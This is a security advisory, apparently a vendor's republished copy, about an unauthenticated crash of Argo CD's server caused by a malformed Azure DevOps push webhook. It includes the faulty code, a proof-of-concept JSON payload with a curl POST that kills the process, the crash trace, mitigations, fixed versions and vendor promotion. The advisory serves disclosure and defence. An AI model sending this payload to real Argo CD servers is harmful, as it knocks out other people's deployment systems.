GHSA-gpx4-37g2-c8pv
HIGHArgo CD Unauthenticated Remote DoS via malformed Azure DevOps git.push webhook
EPSS Exploitation Probability
EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.
Blast Radius
github.com/argoproj/argo-cd/v2🐹github.com/argoproj/argo-cd/v3🐹github.com/argoproj/argo-cd/v3🐹github.com/argoproj/argo-cd/v3Real-time download stats are indexed for npm and PyPI packages. This vulnerability affects Go packages — download data is not available via public APIs for these ecosystems.
Description
Summary
In the default configuration, webhook.azuredevops.username and webhook.azuredevops.password not set, Argo CD’s /api/webhook endpoint crashes the entire argocd-server process when it receives an Azure DevOps Push event whose JSON array resource.refUpdates is empty.
The slice index [0] is accessed without a length check, causing an index-out-of-range panic.
A single unauthenticated HTTP POST is enough to kill the process.
Details
case azuredevops.GitPushEvent:
// util/webhook/webhook.go -- line ≈147
revision = ParseRevision(payload.Resource.RefUpdates[0].Name) // panics if slice empty
change.shaAfter = ParseRevision(payload.Resource.RefUpdates[0].NewObjectID)
change.shaBefore= ParseRevision(payload.Resource.RefUpdates[0].OldObjectID)
touchedHead = payload.Resource.RefUpdates[0].Name ==
payload.Resource.Repository.DefaultBranch
If the attacker supplies "refUpdates": [], the slice has length 0.
The webhook code has no recover(), so the panic terminates the entire binary.
PoC
payload-azure-empty.json:
{
"eventType": "git.push",
"resource": {
"refUpdates": [],
"repository": {
"remoteUrl": "https://example.com/dummy",
"defaultBranch": "refs/heads/master"
}
}
}
curl call:
curl -k -X POST https://argocd.example.com/api/webhook \
-H 'X-Vss-ActivityId: 11111111-1111-1111-1111-111111111111' \
-H 'Content-Type: application/json' \
--data-binary @payload-azure-empty.json
Observed crash:
panic: runtime error: index out of range [0] with length 0
goroutine 205 [running]:
github.com/argoproj/argo-cd/v3/util/webhook.affectedRevisionInfo
webhook.go:147 +0x1ea5
...
Mitigation
If you use Azure DevOps and need to handle webhook events, configure a webhook secret to ensure only trusted parties can invoke the webhook handler.
If you do not use Azure DevOps, you can set the webhook secrets to long, random values to effectively disable webhook handling for Azure DevOps payloads.
apiVersion: v1
kind: Secret
metadata:
name: argocd-secret
type: Opaque
data:
+ webhook.azuredevops.username: <your base64-encoded secret here>
+ webhook.azuredevops.password: <your base64-encoded secret here>
For more information
- Open an issue in the Argo CD issue tracker or discussions
- Join us on Slack in channel #argo-cd
Credits
Discovered by Jakub Ciolek at AlphaSense.
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐹Go | github.com/argoproj/argo-cd/v2 | ≥ 2.9.0-rc1&&< 2.14.20 | 2.14.20 |
| 🐹Go | github.com/argoproj/argo-cd/v3 | ≥ 3.2.0-rc1&&< 3.2.0-rc2 | 3.2.0-rc2 |
| 🐹Go | github.com/argoproj/argo-cd/v3 | ≥ 3.1.0-rc1&&< 3.1.8 | 3.1.8 |
| 🐹Go | github.com/argoproj/argo-cd/v3 | ≥ 3.0.0-rc1&&< 3.0.19 | 3.0.19 |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for github.com/argoproj/argo-cd/v2. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.
Fix
Update github.com/argoproj/argo-cd/v2 to 2.14.20 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-gpx4-37g2-c8pv is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 pinpoints whether GHSA-gpx4-37g2-c8pv is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.
Tailored to GHSA-gpx4-37g2-c8pv. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is GHSA-gpx4-37g2-c8pv in your dependencies?
O3 detects GHSA-gpx4-37g2-c8pv across Go dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.